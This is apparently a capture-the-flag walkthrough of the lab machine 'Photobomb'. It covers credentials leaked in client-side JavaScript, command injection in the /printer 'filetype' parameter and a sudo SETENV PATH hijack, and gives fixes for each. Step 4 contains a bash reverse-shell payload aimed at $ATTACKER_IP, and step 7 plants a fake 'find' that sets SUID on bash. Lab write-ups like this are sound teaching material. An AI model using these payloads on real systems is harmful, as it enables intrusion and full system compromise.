← all walkthroughs

Photobomb

Linux· Easy
owned
2026-07-06
time to own
6m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found that the Photobomb Ruby/Sinatra web application, reverse-proxied by nginx, hard-coded HTTP Basic-Auth credentials inside a publicly accessible JavaScript file served before any login prompt. Using those credentials to reach the /printer management panel, I appended shell commands to the image file-type POST parameter, which the server passed unsanitized to a shell, producing a reverse shell as the application user 'wizard'.

A sudo rule then allowed 'wizard' to run a root-owned cleanup script with full environment inheritance (SETENV) and no password, while the script invoked the 'find' binary by name rather than absolute path. Planting a malicious 'find' binary in /tmp and overriding PATH via the SETENV flag caused root to execute my own code, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissancePort scanning and virtual-host enumeration
Mapped open services and discovered the photobomb.htb virtual host
A port scan revealed SSH on port 22 and nginx 1.18.0 on port 80. A bare-IP request to port 80 returned a 302 redirect to http://photobomb.htb/, indicating virtual-host routing. Adding the hostname to local resolution and browsing the site revealed a Ruby/Sinatra photo-printing application with a login-protected /printer panel.
Nmap: 22/tcp open ssh OpenSSH 8.2p1; 80/tcp open http nginx/1.18.0; curl to bare IP returned 302 → photobomb.htb; curl -H 'Host: photobomb.htb' → <title>Photobomb</title>
Exact commands 3
Service-version scan against the two open ports.
nmap -Pn -sV -p 22,80 $TARGET
Add the vhost to local DNS resolution.
echo "$TARGET photobomb.htb" | sudo tee -a /etc/hosts
Confirm the application homepage loads under the vhost.
curl -si http://photobomb.htb/
2Credential DiscoverySensitive data exposure in client-side JavaScript (CWE-312)
Found plaintext credentials hard-coded in the public JavaScript file
The homepage loaded photobomb.js before requiring any authentication. That file contained a hyperlink with HTTP Basic-Auth credentials embedded directly in the URL — http://[REDACTED: recovered credential][REDACTED: recovered credential].htb/printer — visible to any unauthenticated visitor who viewed page source or opened the file directly.
Photobomb.js: setAttribute('href','http://[REDACTED: recovered credential][REDACTED: recovered credential].htb/printer')
Exact commands 1
Retrieve the public JS file and read the embedded credentials.
curl -s http://photobomb.htb/photobomb.js
FixRemove credentials from client-side JavaScriptHigh
WeaknessThe application's public JavaScript file embedded the HTTP Basic-Auth password in a hyperlink URL (http://[REDACTED: recovered credential][REDACTED: recovered credential].htb/printer). Any unauthenticated visitor who loaded the homepage received this file and could read the password before ever seeing a login form.
FixNever embed authentication credentials in JavaScript, HTML, or any asset delivered to the browser. Remove the credentials from the URL entirely and rely on the browser's standard Basic-Auth challenge, or replace Basic Auth with a proper session-based login form. Rotate the [REDACTED: recovered credential][REDACTED: recovered credential] password immediately, audit version-control history for past exposure, and consider using a secrets scanner (e.g., truffleHog, gitleaks) in CI to prevent future commits of embedded secrets.
3Authenticated AccessAuthentication with exposed hardcoded credentials
Reached the /printer panel using the discovered credentials
Supplying [REDACTED: recovered credential][REDACTED: recovered credential] as HTTP Basic-Auth credentials granted full access to the /printer photo-download panel, which presented a form allowing selection of a source image, an output format (filetype), and dimensions. This panel is the attack surface for the next step.
Curl -u '[REDACTED: recovered credential][REDACTED: recovered credential]' http://$TARGET/printer → HTTP/1.1 200 OK Content-Length: 4915
Exact commands 1
Authenticate and inspect the photo-download form.
curl -si -u '$PASSWORD3$PASSWORD2' http://photobomb.htb/printer
4ExploitationOS Command Injection (CWE-78 / MITRE ATT&CK T1059.004)
Injected OS commands through the filetype POST parameter to get a reverse shell
The /printer endpoint accepted a 'filetype' POST parameter (e.g., jpg, png) and concatenated its value into a shell command that invoked an image-conversion utility. Appending a semicolon and a bash reverse-shell one-liner caused the server to execute my command as the 'wizard' application account, connecting back to a waiting listener on my machine.
Reverse shell received: connect to [$ATTACKER_IP] from [$TARGET]:36646 — wizard@photobomb:~/photobomb$
Exact commands 2
Start a listener on the $USERNAME machine before sending the payload.
nc -lvnp 4444
Inject a bash reverse shell after the semicolon in filetype; replace $ATTACKER_IP with your listener IP.
curl -si -u '$PASSWORD3$PASSWORD2' -X POST http://photobomb.htb/printer --data-urlencode 'photo=eleanor-rabbit-holy-matrimony.jpg' --data-urlencode "filetype=jpg;bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" --data 'dimensions=3000x2000'
FixValidate and sandbox the filetype parameter — never concatenate user input into shell commandsCritical
WeaknessThe /printer handler passed the user-supplied 'filetype' POST value directly into a shell command string without sanitization. Appending a semicolon followed by arbitrary commands caused the web server to execute them as the application user, giving an unauthorised user a full interactive shell.
FixValidate 'filetype' against an explicit allowlist of safe values (e.g., only 'jpg' and 'png') and reject any value that does not match before processing. Replace shell string-concatenation with a library API that passes arguments as a list rather than a string (e.g., Ruby's Open3.capture2e with an array of arguments), so the shell never receives user data. Run the application under a dedicated, minimal-privilege account that cannot read sensitive files or make outbound network connections.
5FootholdLocal file access as low-privilege web application user
Read the user flag from wizard's home directory
With a shell running as 'wizard' — the account under which the Photobomb web application runs — I read the user flag from /home/wizard/user.txt and confirmed the machine was user-owned.
Cat /home/wizard/user.txt → <user.txt>
Exact commands 1
Read the user flag from within the wizard shell.
cat /home/wizard/user.txt
6Privilege Escalation — DiscoverySudo misconfiguration — SETENV with relative binary path (MITRE ATT&CK T1548.003)
Discovered a dangerous sudo rule granting environment inheritance on a cleanup script
Running 'sudo -l' revealed that 'wizard' could execute /opt/cleanup.sh as root with no password (NOPASSWD) and with full environment inheritance (SETENV). Reading the script showed it invoked 'find' by name only, without an absolute path. Because SETENV allows the caller to pass any PATH, whichever directory appeared first in PATH would supply the 'find' binary that root executed.
Sudo -l output: (root) SETENV: NOPASSWD: /opt/cleanup.sh; /opt/cleanup.sh contains: find . -name '*.jpg' ...
Exact commands 2
Enumerate sudo privileges from the wizard shell.
sudo -l
Read the cleanup script to identify the unqualified 'find' call.
cat /opt/cleanup.sh
FixRemove SETENV from the sudo rule and use absolute paths in every cleanup scriptCritical
WeaknessThe sudo rule allowed 'wizard' to run /opt/cleanup.sh as root with full environment inheritance (SETENV) and no password. The script called 'find' by bare name rather than /usr/bin/find, so supplying a modified PATH via SETENV let an unauthorised user redirect which binary root executed — an arbitrary-code-execution path requiring no password.
FixRemove the SETENV flag from the sudoers entry so sudo always resets PATH to a safe, system-controlled value before executing the script. Replace every bare binary name in /opt/cleanup.sh with its absolute path (/usr/bin/find, /bin/rm, etc.). If the script does not genuinely need to run as root, remove it from sudoers entirely and schedule it under a dedicated low-privilege account. Review all other sudoers entries for SETENV or wildcard patterns and apply the principle of least privilege.
7Privilege Escalation — Exploitationsudo SETENV PATH hijack via unqualified binary in root-owned script (MITRE ATT&CK T1548.003)
Hijacked PATH via sudo SETENV to execute a malicious 'find' binary as root
I wrote a shell script named 'find' to /tmp that set the SUID bit on /bin/bash. Invoking /opt/cleanup.sh with sudo and a PATH placing /tmp first caused root to run /tmp/find instead of /usr/bin/find, setting the SUID flag on bash. Calling 'bash -p' then produced an interactive root shell.
/bin/bash -p → root@photobomb; cat /root/root.txt → <root.txt>
Exact commands 4
Create a malicious 'find' that sets the SUID bit on bash.
echo 'chmod +s /bin/bash' > /tmp/find && chmod +x /tmp/find
Run the cleanup script as root with /tmp first in PATH; root executes /tmp/find.
sudo PATH=/tmp:$PATH /opt/cleanup.sh
Open a root shell via the now SUID-flagged bash binary.
/bin/bash -p
Read the root flag.
cat /root/root.txt

Exposed services

22/tcp
80/tcp